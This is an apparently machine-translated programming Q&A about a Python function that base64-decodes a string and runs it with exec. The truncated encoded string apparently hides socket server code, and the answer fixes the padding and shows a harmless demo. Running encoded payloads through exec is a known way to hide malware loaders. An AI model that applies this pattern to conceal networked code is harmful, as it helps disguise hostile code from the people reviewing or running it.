执行加密脚本

时间:2012-10-15 20:05:09

标签: python encryption base64

我有一个python脚本,它读取解码base64加密字符串,我正在尝试使用它,所以当字符串被删除时,它的内容被执行。

def crypexec(jargon):
#push base64 through decryptor
 decipher = base64.b64decode(jargon)
#execute instructions in the encoded string
 exec decipher

ferret= unicode("""DQpzZXJ2ZXIgPSBzb2NrZXQuc29ja2V0KHC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJF..

然后我尝试用

回拨它
crypexec(ferret)

不起作用

This是雪貂看起来不加密的东西。当然我在运行它之前删除了加密脚本的导入部分,仍然无法理解为什么它不起作用。

1 个答案:

答案 0 :(得分:0)

你缺少base64 编码字符串...

的填充

您可以尝试在字符串的末尾添加“=”(可能多达3“=”符号)

如果不起作用,您可能使用与标准“=”不同的填充符号对其进行加密....您是如何编码字符串的?

尝试用python编码它应该解决这个问题

import base64
my_enc = base64.b64encode(""" 
def hello():
     print 'hello world!'
hello() """)

exec(base64.b64decode(my_enc))